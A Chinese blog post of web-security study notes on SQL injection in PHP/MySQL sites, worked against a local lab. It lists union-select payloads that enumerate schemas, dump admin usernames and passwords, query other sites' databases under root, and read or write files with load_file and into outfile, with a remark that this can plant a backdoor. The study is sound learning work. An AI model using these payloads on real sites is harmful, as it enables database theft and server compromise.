知识点

ASP

1、ASP-SQL注入-Access数据库

2、ASP-默认安装-数据库泄漏下载

3、ASP-IIS-CVE&短文件&解析&写入

PHP

1、PHP-MYSQL-SQL注入-常规查询

2、PHP-MYSQL-SQL注入-跨库查询

3、PHP-MYSQL-SQL注入-文件读写

后续章节点:

Web层面:Web2.0 &Web3.0

语言安全:JS,ASP,PHP,NET,Java,Python等(包含框架类)

OWTOP10:注入,文件安全,XSS,RCE,XXE,CSRE,SSRE,反序列化,未授权访问等

业务逻辑:水平垂直越权,支付签约&购买充值,找回机制,数据并发,验证码&弱口令

特殊漏洞:JWT,CRLF,CORS,重定向,JSONP回调,域名接管,DDOS,接口枚举等

关键技术:POP链构造,JS逆向调试,NET反编译,JAVA反编译,代码解密,数据解密等

一、 PHP-MYSQL-Web组成架构

access无数据库用户

服务器安装MYSQL数据库,搭建多个站点,数据库集中存储MYSOL数据库中管理可以都使用root用户管理也可以创建多个用户进行每个网站对应的数据库管理

mysql里面有内置的管理用户,其中root就是默认数据库管理员用户,一般统一交root用户管理

网站上面的数据库都在mysql中,由root或一对一用户去管理

图方便就都归类到root用户下,否则就单独创建用户管理网站

两种方式

1、数据库统一管理(root用户)

每个网站的数据库都由root用户统一管理

192.168.1.4:81 D:/phpstudy_pro/www/z-Blog 数据库root用户  zblog

192.168.1.4:82 D:/phpstudy_pro/www/demo01 数据库root用户  demo01

2、数据库一对一管理(不同用户)

自己的网站单独创建数据库用户去管理自己的数据库

192.168.1.4:81 D:/phpstudy_pro/WWW/Z-B1og  zblog数据库    zblog用户

192.168.1.4:82 D:/phpstudy_pro/Www/demo01  demo01数据库 demo用户

SQL注入产生的原理:接受的参数值未进行过滤直接带入SQL查询的操作

SQL攻击:利用SOL语句执行你想要的东西(SOL语句能干嘛,注入就能干嘛)

SQL语句能干嘛 = SOL语句由谁决定 =>数据库类型决定(为什么mysq1注入 oracle注入叫法原因)

.代表下一级 目的:获取数据 一步步得到信息

查询数据库名demo01下的表名信息(借助information_schema.tables存储查询)

http://192.168.1.4:82/new.php?id=1 union select 1,2,3,group_concat(table_name),5,6 from information_schema.tables where table_schema='demo01'

查询数据库名demo01下的表名admin的列名信息(借助information_schema.columns存储查询)

http://192.168.1.4:82/new.php?id=1 union select 1,2,3,group_concat(column_name),5,6 from information_schema.columns where table_schema='demo01' and table_name='admin'

二、PHP-MYSQL-SQL常规查询

获取相关数据:

1、数据库版本-看是否符合information schema查询-version()

2、数据库用户-看是否符合ROOT型注入攻击-user()

3、当前操作系统-看是否支持大小写或文件路径选择-@@versioncompile_os

4、数据库名字-为后期猜解指定数据库下的表,列做准备-database()

MYSQL5.0以上版本:自带的数据库名information_schema 现在都是5.0以上

information_schema:
存储数据库下的数据库名及表名,列名信息的数据库information_schema.schemata:记录数据库名信息的表

information_schema.tables:记录表名信息的表

information_schema.columns:记录列名信息表

schema_name:information_schema.schemata记录数据库名信息的列名值

table_schema:information_schema.tables记录数据库名的列名值

table_name:information_schema.tables记录表名的列名值

column_name:information_schema.columns记录列名的列名值

常规注入举例:

order by 6

union select 1,2,3,4,5,6  

union select 1,2,3,database(),user(),6

union select 1,2,3,version(),@@versioncompile_os,6

union select 1,2,3,4,group_concat(table_name),6 from information_schema.tables where table_schema='demo01'

union select 1,2,3,4,group_concat(column_name),6 from information_schema.columns where table_name='admin'

union select 1,2,3,username,password,6 from admin limit 0,1  

/limit 0,1 第一条

/limit 0,2 第二条

三、PHP-MYSOL-SOL跨库查询

影响条件:当前数据库用户权限 root

原因:网站搭建统一用root搭建管理,所以我现在在demo数据库下,由于root权限的原因也能查询到同级别下zblog数据库的信息,但是最后一步需要用点.跳出数据库

取决于数据库配置文件,所以要遵循最小权限运行原则

测试不同数据库用户:root demo

union select 1,2,3,4,group_concat(schema_name),6 from information_schema.schemata

union select 1,2,3,4,group_concat(table_name),6 from information_schema.tables where table_schema='zblog'

union select 1,2,3,4,group_concat(column_name),6 from information_schema.columns where table_name='zbp_member' and table_schema='zblog'

union select 1,2,3,mem_Name,mem_Password,6 from zblog.zbp_member

四、 PHP-MYSQL-SQL文件读写

条件:

1、当前数据库用户权限

2、my.ini中secure-file-priv设置  -->现在基本都设置了

高版本一般都这样

测试不同数据库用户:root demo

union select 1,load_file('d:\\1.txt'),3,4,5,6

union select 1,'xiaodi',3,4,5,6 into outfile 'd:\\2.txt

q1:有什么作用呢?

a1:可以写入后门到任意目录(前提:知道网站路径、有写权限)

q2:那么如何得知网站路径呢?

a2:①中间件或数据库一般都有默认配置文件,记录了网站路径

②phpinfo泄露

③报错显示

load_file()函数读取文件内容 括号内填路径 常见路径/固有路径

小结

一定打好基础,熟悉架构,还有三节Mysql数据库

要针对性学一下别的洞了

开学了 好累

活在别人眼里,就会死在别人嘴里

干巴得

欢迎来访 这是我的小窝~ 网安弱鸡 健身屌丝 好不容易搭出来的 大佬略过我
最后更新于 2025-09-07